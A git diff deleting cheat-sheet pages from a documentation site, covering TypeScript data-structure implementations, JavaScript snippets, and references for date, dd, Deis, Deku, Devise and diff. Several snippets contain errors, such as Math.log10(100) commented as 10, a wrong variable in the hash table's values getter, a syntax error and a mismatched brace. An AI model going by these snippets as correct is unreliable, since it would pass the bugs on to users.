-        this._values.pop();
-        this.sinkingDown();
-
-        return root;
-    }
-}
-```
-
-## Priority Queue
-
-A data structure which every element has a priority. Elements with higher priorities are served before elements with lower priorities.
-
-**In the following example, we implemented a priority queue using minBinaryHeap but you should know binaryHeaps and priority queue is two different concepts and we just use an abstract of it**
-
-```js
-interface INode {
-    value: any;
-    priority: number;
-}
-
-class _Node implements INode {
-    constructor(public value: any, public priority: number = 0) {}
-}
-
-class PriorityQueue {
-    private _values: INode[] = [];
-    get values(): INode[] {
-        return this._values;
-    }
-
-    private sinkingUp(node: INode): void {
-        let valueIndex = this._values.length - 1;
-        while (valueIndex > 0) {
-            const parentIndex = Math.floor((valueIndex - 1) / 2);
-            const parent = this._values[parentIndex];
-
-            if (node.priority >= parent.priority) break;
-
-            this._values[parentIndex] = node;
-            this._values[valueIndex] = parent;
-
-            valueIndex = parentIndex;
-        }
-    }
-    private sinkingDown(): void {
-        let targetIndex = 0;
-        while (true) {
-            let leftChildIndex = targetIndex * 2 + 1,
-                rightChildIndex = targetIndex * 2 + 2;
-
-            let target = this._values[targetIndex],
-                leftChild = this._values[leftChildIndex],
-                rightChild = this._values[rightChildIndex];
-
-            if (
-                leftChild &&
-                rightChild &&
-                target.priority > leftChild.priority &&
-                target.priority > rightChild.priority
-            ) {
-                if (rightChild.priority < leftChild.priority) {
-                    [
-                        this._values[targetIndex],
-                        this._values[rightChildIndex]
-                    ] = [
-                        this._values[rightChildIndex],
-                        this._values[targetIndex]
-                    ];
-
-                    targetIndex = rightChildIndex;
-                } else {
-                    [
-                        this._values[targetIndex],
-                        this._values[leftChildIndex]
-                    ] = [
-                        this._values[leftChildIndex],
-                        this._values[targetIndex]
-                    ];
-
-                    targetIndex = leftChildIndex;
-                }
-
-                continue;
-            } else if (rightChild && rightChild.priority <= target.priority) {
-                [this._values[targetIndex], this._values[rightChildIndex]] = [
-                    this._values[rightChildIndex],
-                    this._values[targetIndex]
-                ];
-
-                targetIndex = leftChildIndex;
-
-                continue;
-            } else if (leftChild && leftChild.priority <= target.priority) {
-                [this._values[targetIndex], this._values[leftChildIndex]] = [
-                    this._values[leftChildIndex],
-                    this._values[targetIndex]
-                ];
-
-                targetIndex = leftChildIndex;
-
-                continue;
-            }
-
-            break;
-        }
-    }
-
-    public enqueue({ value, priority }: INode): _Node[] {
-        const node = new _Node(value, priority);
-        this._values.push(node);
-        this.sinkingUp(node);
-        return this._values;
-    }
-
-    public dequeue(): _Node | null {
-        if (!this._values.length) {
-            return null;
-        }
-        const root = this._values[0];
-        this._values[0] = this._values[this._values.length - 1];
-        this._values.pop();
-        this.sinkingDown();
-
-        return root;
-    }
-}
-```
-
-## Hash Tables
-
-Hash tables are collection of key-value pairs
-
-### collisions
-
-There is possibility for handle collisions is hash tables :
-
--   Separate chaining ( e.g. using nested arrays of key values _implemented in following hash tables_ )
--   linear probing ( if index filled place {key, value} in next position )
-
-```js
-type El = [string, any];
-class HashTable {
-    private keyMap: El[][];
-    constructor(size: number = 53) {
-        this.keyMap = new Array(size);
-    }
-
-    public _hash(key: string): number {
-        let total = 0;
-        const WEIRD_PRIME = 31;
-
-        for (let i = 0; i < key.length; i++) {
-            const characterCode = key.charCodeAt(i) - 96;
-            total = (total + characterCode * WEIRD_PRIME) % this.keyMap.length;
-        }
-        return total;
-    }
-
-    set(key: string, value: any): El[][] {
-        const index = this._hash(key);
-        if (!this.keyMap[index]) {
-            this.keyMap[index] = [];
-        }
-
-        this.keyMap[index].push([key, value]);
-
-        return this.keyMap;
-    }
-
-    get(key: string): El | undefined {
-        const index = this._hash(key);
-
-        const elements = this.keyMap[index];
-
-        if (elements) {
-            for (let value of elements) {
-                if (value[0] === key) return value[1];
-            }
-        }
-
-        return undefined;
-    }
-
-    get keys(): string[] {
-        const keys: string[] = [];
-        for (let value of this.keyMap) {
-            if (value) {
-                for (let _value of value) {
-                    keys.push(_value[0]);
-                }
-            }
-        }
-        return keys;
-    }
-
-    get values(): any[] {
-        const values = new Set<any>();
-
-        for (let value of this.keyMap) {
-            if (value) {
-                for (let _value of value) {
-                    values.add(value[1]);
-                }
-            }
-        }
-
-        return [...values];
-    }
-}
-```
-
-## Graphs
-
-A graph data structure consists of a finite (and possibly mutable) set of vertices or nodes or points, together with a set of unordered pairs of these vertices for an undirected graph or a set of ordered pairs for directed graph.
-
-### terminology
-
--   vertex :node
--   edge : connection between nodes
--   directed/ undirected graph: in directed graph there is a direction assigned to vertices an in undirected no direction assigned.
--   weighted/ unweighted graph: in weighted graph there is a weight associated by edges but in unweighted graph no weight assigned to edges
-
-### adjacency matrix
-
-## adjacency list
-
-## adjacency list vs adjacency matrix
-
-|   Operation   | Adjacency List | Adjacency Matrix |
-| :-----------: | :------------: | :--------------: |
-|  Add vertex   |      O(1)      |      O(V^2)      |
-|   Add Edge    |      O(1)      |       O(1)       |
-| Remove vertex |     O(V+E)     |      O(V^2)      |
-|  Remove Edge  |      O(E)      |       O(1)       |
-|     Query     |     O(V+E)     |       O(1)       |
-|    Storage    |     O(V+E)     |      O(V^2)      |
-
--   |V| : number of Vertices
--   |E| : number of Edges
-
----
-
--   **Adjacency List** take **less space** in sparse graph( when we have a few edges ).
--   **Adjacency List** are **faster to iterate** over edges.
--   **Adjacency Matrix** are **faster to** finding a specific edge.
-
-### graph(adjacency list)
-
-```js
-interface AdjacencyList {
-    [vertex: string]: string[];
-}
-
-class Graph {
-    private _adjacencyList: AdjacencyList = {};
-    public get adjacencyList(): AdjacencyList {
-        return this._adjacencyList;
-    }
-    public set adjacencyList(value: AdjacencyList) {
-        this._adjacencyList = value;
-    }
-
-    public addVertex(vertex: string): AdjacencyList {
-        this._adjacencyList[vertex] = [];
-        return this._adjacencyList;
-    }
-
-    public addEdge(vertex1: string, vertex2: string): boolean {
-        if (this._adjacencyList[vertex1] && this._adjacencyList[vertex2]) {
-            this._adjacencyList[vertex1].push(vertex2),
-                this._adjacencyList[vertex2].push(vertex1);
-
-            return true;
-        }
-        return false;
-    }
-
-    public removeEdge(vertex1: string, vertex2: string): boolean {
-        if (this._adjacencyList[vertex1] && this._adjacencyList[vertex2]) {
-            (this._adjacencyList[vertex1] = this._adjacencyList[vertex1].filter(
-                (value: string) => value !== vertex2
-            )),
-                (this._adjacencyList[vertex2] = this._adjacencyList[
-                    vertex2
-                ].filter((value: string) => value !== vertex1));
-            return true;
-        }
-        return false;
-    }
-
-    public removeVertex(vertex: string): string | undefined {
-        if (this._adjacencyList[vertex]) {
-            for (let key in this._adjacencyList) {
-                this.removeEdge(key, vertex);
-            }
-            delete this._adjacencyList[vertex];
-
-            return vertex;
-        }
-        return undefined;
-    }
-}
-```
-
-## Graph Traversal
-
-### depth first traversal and breadth first traversal in graph
-
-```js
-interface AdjacencyList {
-    [vertex: string]: string[];
-}
-
-class Graph {
-    private _adjacencyList: AdjacencyList = {};
-    public get adjacencyList(): AdjacencyList {
-        return this._adjacencyList;
-    }
-    public set adjacencyList(value: AdjacencyList) {
-        this._adjacencyList = value;
-    }
-
-    public addVertex(vertex: string): AdjacencyList {
-        this._adjacencyList[vertex] = [];
-        return this._adjacencyList;
-    }
-
-    public addEdge(vertex1: string, vertex2: string): boolean {
-        if (this._adjacencyList[vertex1] && this._adjacencyList[vertex2]) {
-            this._adjacencyList[vertex1].push(vertex2),
-                this._adjacencyList[vertex2].push(vertex1);
-
-            return true;
-        }
-        return false;
-    }
-
-    public removeEdge(vertex1: string, vertex2: string): boolean {
-        if (this._adjacencyList[vertex1] && this._adjacencyList[vertex2]) {
-            (this._adjacencyList[vertex1] = this._adjacencyList[vertex1].filter(
-                (value: string) => value !== vertex2
-            )),
-                (this._adjacencyList[vertex2] = this._adjacencyList[
-                    vertex2
-                ].filter((value: string) => value !== vertex1));
-            return true;
-        }
-        return false;
-    }
-
-    public removeVertex(vertex: string): string | undefined {
-        if (this._adjacencyList[vertex]) {
-            for (let key in this._adjacencyList) {
-                this.removeEdge(key, vertex);
-            }
-            delete this._adjacencyList[vertex];
-
-            return vertex;
-        }
-        return undefined;
-    }
-
-    public dfcRecursive(startingVertex: string): string[] {
-        const results: string[] = [];
-        const adjacencyList = this._adjacencyList;
-
-        let currentVertex = this._adjacencyList[startingVertex];
-        if (currentVertex) {
-            const visitedVertex: { [vertex: string]: boolean } = {};
-
-            (function traverse(vertex: string | undefined): void {
-                if (!vertex) return;
-
-                if (!visitedVertex[vertex]) {
-                    visitedVertex[vertex] = true;
-                    results.push(vertex);
-
-                    for (let neighbor of currentVertex) {
-                        if (!visitedVertex[neighbor]) {
-                            currentVertex = adjacencyList[neighbor];
-                            traverse(neighbor);
-                        }
-                    }
-                }
-            })(startingVertex);
-        }
-
-        return results;
-    }
-    // or
-    public dfsIterative(startingVertex: string): string[] {
-        const results: string[] = [];
-
-        if (this._adjacencyList[startingVertex]) {
-            let stack: string[] = [startingVertex];
-            const visitedVertex: { [vertex: string]: boolean } = {};
-
-            while (stack.length) {
-                debugger;
-                const currentVertex = stack.pop();
-                if (currentVertex && !visitedVertex[currentVertex]) {
-                    visitedVertex[currentVertex] = true;
-                    results.push(currentVertex);
-                    stack = [...stack, ...this._adjacencyList[currentVertex]];
-                }
-            }
-        }
-
-        return results;
-    }
-
-    public breadthFirstSearch(startingVertex: string): string[] {
-        const results: string[] = [];
-
-        if (this._adjacencyList[startingVertex]) {
-            let queue = [startingVertex];
-            const visitedVertex: { [vertex: string]: boolean } = {};
-
-            while (queue.length) {
-                const currentVertex = queue.shift();
-                if (currentVertex && !visitedVertex[currentVertex]) {
-                    visitedVertex[currentVertex] = true;
-                    results.push(currentVertex);
-                    queue = [...queue, ...this._adjacencyList[currentVertex]];
-                }
-            }
-        }
-
-        return results;
-    }
-}
-```
-
-## Dijkstra's Shortest path firt Algorithms
-
-Finding shortest path between two vertices in a **weighted graph**.
-
-```js
-interface Value {
-    value: any;
-    priority: number;
-}
-
-interface Neighbor {
-    vertex: string;
-    weight: number;
-}
-
-interface AdjacencyList {
-    [vertex: string]: Neighbor[];
-}
-
-// naive priority queue
-class PriorityQueue {
-    private _values: Value[] = [];
-    public get values(): Value[] {
-        return this._values;
-    }
-
-    public enqueue(value: any, priority: number): Value[] {
-        this._values.push({ value, priority });
-        this.sort();
-        return this._values;
-    }
-
-    public dequeue(): Value {
-        const value = this._values.shift();
-        return value as Value;
-    }
-
-    private sort() {
-        this._values.sort((a: Value, b: Value) => a.priority - b.priority);
-    }
-}
-
-class WeightedGraph {
-    private _adjacencyList: AdjacencyList = {};
-    public get adjacencyList(): AdjacencyList {
-        return this._adjacencyList;
-    }
-    public set adjacencyList(value: AdjacencyList) {
-        this._adjacencyList = value;
-    }
-
-    public addVertex(vertex: string): AdjacencyList {
-        this._adjacencyList[vertex] = [];
-        return this._adjacencyList;
-    }
-
-    public addEdge(vertex1: string, vertex2: string, weight: number): boolean {
-        if (this._adjacencyList[vertex1]) {
-            this._adjacencyList[vertex1].push({ vertex: vertex2, weight });
-            this._adjacencyList[vertex2].push({ vertex: vertex1, weight });
-            return true;
-        }
-        return false;
-    }
-
-    /*
-    dijkstra shortest path first
-    */
-
-    dijkstraSPF(startingVertex: string, targetVertex: string): string[] {
-        let path: string[] = [];
-
-        if (
-            this._adjacencyList[startingVertex] &&
-            this._adjacencyList[targetVertex]
-        ) {
-            const pq = new PriorityQueue();
-            const previousVertex: { [vertex: string]: string | null } = {};
-            const distances: { [vertex: string]: number } = {};
-
-            // build initial states
-            for (let key in this._adjacencyList) {
-                if (key === startingVertex) {
-                    (distances[key] = 0), pq.enqueue(key, 0);
-                } else {
-                    distances[key] = Infinity;
-                    pq.enqueue(key, Infinity);
-                }
-                previousVertex[key] = null;
-            }
-
-            while (pq.values.length) {
-                let smallest = pq.dequeue().value;
-                if (smallest) {
-                    if (smallest === targetVertex) {
-                        // done build path
-                        while (
-                            previousVertex[smallest] ||
-                            smallest === startingVertex
-                        ) {
-                            path.push(smallest);
-                            smallest = previousVertex[smallest];
-                        }
-                        break;
-                    }
-
-                    for (let neighbor of this._adjacencyList[smallest]) {
-                        const candidate = distances[smallest] + neighbor.weight;
-
-                        let nextNeighbor = neighbor.vertex;
-
-                        if (candidate < distances[nextNeighbor]) {
-                            distances[nextNeighbor] = candidate;
-
-                            previousVertex[nextNeighbor] = smallest;
-
-                            pq.enqueue(nextNeighbor, candidate);
-                        }
-                    }
-                }
-            }
-        }
-
-        return path.reverse();
-    }
-}
-```
-
-## Dynamic Programming (light introduction)
-
-It's a method for solving a complex problems by breaking it down into a collection of simpler problems, solving their subProblems **once** and **storing** their solutions. _technically it using knowledge of last problems to solve next by memorization_
-
-### example Fibonacci sequence
-
-Let's implement it without dynamic programming:without dynamic programming:
-
-_**in fibonacci sequence fib(n) = fib(n-2) + fib(n-1) && fin(1) = 1 && fib(2) = 1**_
-
-**O(2^n)**
-
----
-
-```js
-function fib(n: number): number {
-    if (n <= 2) return 1;
-    return fib(n - 1) + fib(n - 2);
-}
-```
-
-As you see we calculate f(5) two times with current implementation.
-
-### memorization
-
-Storing the results of expensive function class and returning the cached result when the same inputs occur again.
-
-O(n)
-
----
-
-```js
-function fib(n: number, memo: number[] = []): number {
-    if (memo[n]) return memo[n];
-
-    if (n <= 2) return 1;
-
-    const res = fib(n - 1, memo) + fib(n - 2, memo);
-    memo[n] = res;
-
-    return res;
-}
-fib(10000); // Maximum callStack exceeded
-```
-
-### tabulation
-
----
-
-```js
-function fib(n: number): number {
-    if (n <= 2) return 1;
-
-    const fibNumbers = [0, 1, 1];
-
-    for (let index = 3; index <= n; index++) {
-        fibNumbers[index] = fibNumbers[index - 1] + fibNumbers[index - 2];
-    }
-
-    console.log(fibNumbers);
-
-    return fibNumbers[n];
-}
-fib(10000); // Infinity
-```
-
-## Interesting Stuff
-
-```js
-// turn it to boolean
-console.log(!!1); // true
-console.log(!!0); // false
-
-// group operation
-(newNode.prev = prevNode), (newNode.next = nextNode);
-```
-
-## String
-
-```js
-const str = "hello";
-str.search('lo') || .indexOf('lo') // 3
-str.includes('lo') // true
-```
-
-### string pattern matching
-
-```js
-// regex.test(str: number) Returns a Boolean value that indicates whether or not a pattern exists in a searched string.
-function charCount(str: string) {
-    const result: { [key: string]: number } = {};
-
-    for (let char of str) {
-        char = char.toLowerCase();
-        if (/[a-z0-9]/.test(char)) {
-            result[char] = ++result[char] || 1;
-        }
-    }
-
-    return result;
-}
-
-// *** string.chatCodeAt(i: number) Returns the unicode of value on specified location
-
-/* 
-numeric (0-9) code > 47 && code < 58;
-upper alpha (A-Z) code > 64 && code < 91;
-lower alpha (a-z) code > 96 && code <123;
-*/
-function charCount(str: string) {
-    const result: { [key: string]: number } = {};
-
-    for (let char of str) {
-        if (isAlphaNumeric(char)) {
-            char = char.toLowerCase();
-            result[char] = ++result[char] || 1;
-        }
-    }
-
-    return result;
-}
-
-function isAlphaNumeric(char: string) {
-    const code = char.charCodeAt(0);
-    if (!(code > 47 && code < 58) && !(code > 64 && code < 91) && !(code > 96 && code < 123)) {
-        return false;
-    }
-    return true;
-}
-```
-
-## Array
-
-```js
-const array = ['hello', 'world'];
-arr.find((el) => el === 'world'); // world
-arr.findIndex((el) => el === 'world'); // 1
-
-[1, 2].includes(1); // true
-
-Array.from({ length: 2 }, () => ['lol']); // [["lol"], ["lol"]]
-
-const stack = ['A', 'B', 'D', 'E', 'C', 'F'];
-const s = stack.shift();
-const p = stack.pop();
-console.log(s); // "A"
-console.log(p); // "F"
-
-['a', 'b'].reverse(); // ['b', 'a']
-```
-
-### Object
-
-```js
-delete this._adjacencyList[vertex]; // delete key and value from object
-delete this._adjacencyList.vertex;
-```
-
-### Map
-
-```js
-const map = new Map();
-// store any type of **unique key** of use duplicate key it will override last value
-map.set({ 1: 'Object' }, 'Object');
-map.set(['arr'], 'arr');
-map.set(1, 'number');
-map.set(false, 'boolean');
-map.set(() => console.log('Function'), 'Function');
-
-console.log(map);
-/* 
-0: {Object => "Object"}
-1: {Array(1) => "arr"}
-2: {1 => "number"}
-3: {false => "boolean"}
-4: {function () { return console.log("Function"); } => "Function"}
-*/
-
-// iterable by **for (let [key, value] of map)**
-for (let [key, value] of map) console.log(key, value);
-
-// map to arr
-const arr = [...map]; // :[ [key, value] ]
-/* 
-0: (2) [{…}, "Object"]
-1: (2) [Array(1), "arr"]
-2: (2) [1, "number"]
-3: (2) [false, "boolean"]
-4: (2) [ƒ, "Function"]
-*/
-```
-
-## Math
-
-```js
-Math.pow(2, 2); // 4
-Math.abs(-5); // 5
-Math.log10(100); // 10
-Math.max(...[1, 2, 3]); // 3
-Math.min(...[1, 2, 3]); // 1
-```
diff --git a/docs/content/cheat-sheets/date.md b/docs/content/cheat-sheets/date.md
deleted file mode 100644
index 2a22ebabc1..0000000000
--- a/docs/content/cheat-sheets/date.md
+++ /dev/null
@@ -1,39 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## tags: [date, time]
-
-# To print the date in a format suitable for affixing to file names:
-
-date +"%Y%m%d\_%H%M%S"
-
-# To convert a Unix timestamp to Date (Linux)
-
-date -d @1440359821
-
-# To convert a Unix timestamp to Date (OSX)
-
-date -r 1440359821
-
-# To list UTC time
-
-date -u
-
-# Show the time on the west coast of the US (use tzselect(1) to find TZ)
-
-TZ='America/Los_Angeles' date
diff --git a/docs/content/cheat-sheets/datetime.md b/docs/content/cheat-sheets/datetime.md
deleted file mode 100644
index 330efbfe9f..0000000000
--- a/docs/content/cheat-sheets/datetime.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Date & time formats
-
-weight: -5
-tags: [Featurable]
-
----
-
-## Common time formats
-
-{: .-one-column}
-
--   [UNIX strftime](./strftime) - Used by Ruby, `date`, and more
--   [Moment.js](./moment#formatting) - Used by Moment.js, date-fns, and more
-
-{% include common/strftime_format.md title="strftime format" %}
-
-{% include common/moment_format.md title="Moment.js format" %}
diff --git a/docs/content/cheat-sheets/dd.md b/docs/content/cheat-sheets/dd.md
deleted file mode 100644
index 8c8b17e704..0000000000
--- a/docs/content/cheat-sheets/dd.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# Read from {/dev/urandom} 2\*512 Bytes and put it into {/tmp/test.txt}
-
-# Note: At the first iteration, we read 512 Bytes.
-
-# Note: At the second iteration, we read 512 Bytes.
-
-dd if=/dev/urandom of=/tmp/test.txt count=2 bs=512
-
-# Watch the progress of 'dd'
-
-dd if=/dev/zero of=/dev/null bs=4KB &; export dd_pid=`pgrep '^dd'`; while [[-d /proc/$dd_pid]]; do kill -USR1 $dd_pid && sleep 1 && clear; done
-
-# Watch the progress of 'dd' with `pv` and `dialog` (apt-get install pv dialog)
-
-(pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror) 2>&1 | dialog --gauge "Running dd command (cloning), please wait..." 10 70 0
-
-# Watch the progress of 'dd' with `pv` and `zenity` (apt-get install pv zenity)
-
-(pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror) 2>&1 | zenity --title 'Running dd command (cloning), please wait...' --progress
-
-# Watch the progress of 'dd' with the built-in `progress` functionality (introduced in coreutils v8.24)
-
-dd if=/dev/zero of=/dev/null bs=128M status=progress
-
-# DD with "graphical" return
-
-dcfldd if=/dev/zero of=/dev/null bs=500K
-
-# This will output the sound from your microphone port to the ssh target computer's speaker port. The sound quality is very bad, so you will hear a lot of hissing.
-
-dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
diff --git a/docs/content/cheat-sheets/deis.md b/docs/content/cheat-sheets/deis.md
deleted file mode 100644
index 67ca5f81f5..0000000000
--- a/docs/content/cheat-sheets/deis.md
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Deis
-category: Devops
-
----
-
-### Deploy
-
-```
-deis create app-name
-git push deis master
-deis open
-```
-
-### Deploy dockerfile
-
-```sh
-$ deis create app-name
-$ deis pull redis:latest
-  Creating build...  done, v2
-# default process type is `cmd`
-```
-
-### Config
-
-```
-deis config:list
-deis config:set FOO=bar BAZ=foo
-deis config:unset FOO
-deis config:pull  # writes to .env
-deis config:push  # reads from .env
-```
-
-### Managing instances
-
-```
-deis logs
-deis run rake db:migrate
-deis ps
-```
-
-### Custom domains
-
-```
-deis domains:list
-deis domains:add www.myapp.com
-deis domains:remove www.myapp.com
-```
-
-### Limits
-
-```sh
-deis limits:set web=1G
-deis limits:set web=1024 --cpu
-# (`web` is a process type)
-```
-
-### Sharing
-
-```
-deis perms:create otheruser
-```
-
-### SSL
-
-```
-deis certs:add server.crt server.key
-```
-
-See: [SSL](http://docs.deis.io/en/latest/using_deis/app-ssl/)
diff --git a/docs/content/cheat-sheets/deku.md b/docs/content/cheat-sheets/deku.md
deleted file mode 100644
index b2f6807711..0000000000
--- a/docs/content/cheat-sheets/deku.md
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Deku v2
-category: JavaScript libraries
-
-intro: |
-Quick reference for [Deku](https://www.npmjs.com/package/deku), a minimal virtual DOM library.
-
----
-
-### Components
-
-```js
-/** @jsx element */
-import { element } from 'deku'
-
-function render ({ props, children, context, path }) {
-  // props    = properties object
-  // children = children array
-  // path     = path to current component (like 0.1.5.2)
-  // context  = common properties in all components
-  return (
-    <div class='App' hidden={props.hidden} color={context.theme.color}>
-      {children}
-    </div>
-  }
-}
-
-function onCreate ({ props, dispatch, path }) { ... }
-function onUpdate ({ props, dispatch, path }) { ... }
-function onRemove ({ props, dispatch, path }) { ... }
-// actually { children, props, path, context }
-
-export default { render, onCreate, onRemove }
-```
-
-### Rendering
-
-```js
-import { createStore } from 'redux';
-import { dom, element } from 'deku';
-
-// Create a Redux store to handle all UI actions and side-effects
-let store = createStore(reducer);
-
-// Create a renderer that can turn vnodes into real DOM elements
-let render = createRenderer(document.body, store.dispatch);
-
-// Update the page and add redux state to the context
-render(<MyButton>Hello World!</MyButton>, store.getState());
-```
diff --git a/docs/content/cheat-sheets/deku@1.md b/docs/content/cheat-sheets/deku@1.md
deleted file mode 100644
index 1d34cb7e6d..0000000000
--- a/docs/content/cheat-sheets/deku@1.md
+++ /dev/null
@@ -1,117 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Deku v1
-category: JavaScript libraries
-
-intro: |
-Quick reference for [Deku](https://www.npmjs.com/package/deku), a minimal virtual DOM library. **Deprecated:** This is for Deku v1. See [deku](./deku) for a more updated cheatsheet.
-
----
-
-### Example
-
-```js
-/** @jsx element */
-import element from 'virtual-element'; // replacement for React.createElement
-import { render, tree } from 'deku';
-
-var app = <div class="my-app">Hello World!</div>;
-
-render(tree(app), document.body);
-```
-
-### Components
-
-```js
-Button = {
-    render() {
-        return <button>Submit</button>;
-    }
-};
-
-App = {
-    render() {
-        return (
-            <div>
-                <Button />
-            </div>
-        );
-    }
-};
-
-render(tree(<App />), document.body);
-render(tree(element(App)), document.body);
-```
-
-### Component props/state
-
-```js
-App = {
-  render ({ props, state }) {
-    return <div>{ /*...use state.store here*/ }</div>
-  }
-
-  initialState (props) {
-    return { store: store.getState() }
-  },
-
-  afterMount (comp, el, setState) {
-    store.subscribe(() => setState({ store: store.getState() }))
-  }
-}
-
-render(tree(<App />), document.body)
-```
-
-### Events
-
-```js
-<a onClick={onClick}>{props.text}</a>
-```
-
-### Magic virtual element
-
-Use [magic-virtual-element](https://github.com/dekujs/magic-virtual-element) to enable nice classnames.
-
-```
-import element from 'magic-virtual-element'
-<div style={style} class={[ 'button', '-active' ]}>
-```
-
-### Reference
-
-```
-name = 'MyComponent'
-
-// Defaults
-initialState (props) {...} // return initial state
-defaultProps = { hi: 'hello' }
-
-// Render
-render ({props, state}, setState) {...}
-
-// Lifecycle
-beforeUpdate  ({props, state, id}, nextProps, nextState) {}
-afterRender   ({props, state, id}, el) {}
-afterUpdate   ({props, state, id}, prevProps, prevState, setState) {}
-afterMount    ({props, state, id}, el, setState) {}
-beforeUnmount ({props, state, id}, el) {}
-```
-
-See: <https://www.npmjs.com/package/deku>
diff --git a/docs/content/cheat-sheets/devise.md b/docs/content/cheat-sheets/devise.md
deleted file mode 100644
index 0ea6103574..0000000000
--- a/docs/content/cheat-sheets/devise.md
+++ /dev/null
@@ -1,141 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## title: Devise
-
-[Devise](https://github.com/plataformatec/devise) is a flexible authentication
-gem.
-
-## Installation
-
-Rails 3: Add the following to your Gemfile
-
-    gem "devise"
-    gem "hpricot"
-    gem "ruby_parser"
-
-Install devise in your project
-
-    $ rails generate devise:install
-
-Generate devise for your model
-
-    $ rails generate devise MODEL
-    $ rake db:migrate
-
-(Optional) Generate devise views
-
-    $ rails generate devise:views
-
-## Helpers
-
-    user_signed_in?
-    current_user
-    user_session
-    destroy_user_session_path (Logout)
-    new_user_session_path (Login)
-    edit_user_registration_path (Edit registration)
-    new_user_registration_path (Register new user)
-
-## Controller stuff
-
-    before_filter :authenticate_user!
-
-## Model
-
-### Model options
-
-    class User < ActiveRecord::Base
-      devise :database_authenticatable,
-        :registerable,
-        :confirmable,
-        :recoverable,
-        :rememberable,
-        :trackable,
-        :validatable
-    end
-
-### Migration helpers
-
-    create_table :users do |t|
-      t.database_authenticatable
-      t.confirmable
-      t.recoverable
-      t.rememberable
-      t.trackable
-      t.timestamps
-    end
-
-## Routing
-
-### Authenticated and unauthenticated routes
-
-    unauthenticated do
-       root :to => 'home#index'
-    end
-
-    authenticated do
-      root :to => 'dashboard#index'
-    end
-
-### As
-
-    as :user do
-      get 'sign_in', :to => 'devise/sessions#new'
-    end
-
-### Devise_for magic
-
-    devise_for :users
-
-        # Session routes for Authenticatable (default)
-             new_user_session GET  /users/sign_in                    {:controller=>"devise/sessions", :action=>"new"}
-                 user_session POST /users/sign_in                    {:controller=>"devise/sessions", :action=>"create"}
-         destroy_user_session GET  /users/sign_out                   {:controller=>"devise/sessions", :action=>"destroy"}
-
-        # Password routes for Recoverable, if User model has :recoverable configured
-            new_user_password GET  /users/password/new(.:format)     {:controller=>"devise/passwords", :action=>"new"}
-           edit_user_password GET  /users/password/edit(.:format)    {:controller=>"devise/passwords", :action=>"edit"}
-                user_password PUT  /users/password(.:format)         {:controller=>"devise/passwords", :action=>"update"}
-                              POST /users/password(.:format)         {:controller=>"devise/passwords", :action=>"create"}
-
-        # Confirmation routes for Confirmable, if User model has :confirmable configured
-        new_user_confirmation GET  /users/confirmation/new(.:format) {:controller=>"devise/confirmations", :action=>"new"}
-            user_confirmation GET  /users/confirmation(.:format)     {:controller=>"devise/confirmations", :action=>"show"}
-                              POST /users/confirmation(.:format)     {:controller=>"devise/confirmations", :action=>"create"}
-
-### Customizing devise_for
-
-    devise_for :users,
-      :path => "usuarios",
-      :path_names => {
-        :sign_in => 'login',
-        :sign_out => 'logout',
-        :password => 'secret',
-        :confirmation => 'verification',
-        :unlock => 'unblock',
-        :registration => 'register',
-        :sign_up => 'cmon_let_me_in' }
-
-## Test helpers
-
-    include Devise::TestHelpers
-    https://github.com/plataformatec/devise/blob/1094ba65aac1d37713f2cba71f9edad76b5ca274/lib/devise/test_helpers.rb
-
-    sign_in @user
-    sign_out @user
diff --git a/docs/content/cheat-sheets/diff.md b/docs/content/cheat-sheets/diff.md
deleted file mode 100644
index 6c83c404c7..0000000000
--- a/docs/content/cheat-sheets/diff.md
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To view the differences between two files:
-
-diff -u <file-1> <file-2>
-
-# To view the differences between two directories:
-
-diff -ur <dir-1> <dir-2>
-
-# To ignore whitespace:
-
-diff -ub <file-1> <file-2>
-
-# To ignore blank lines:
-
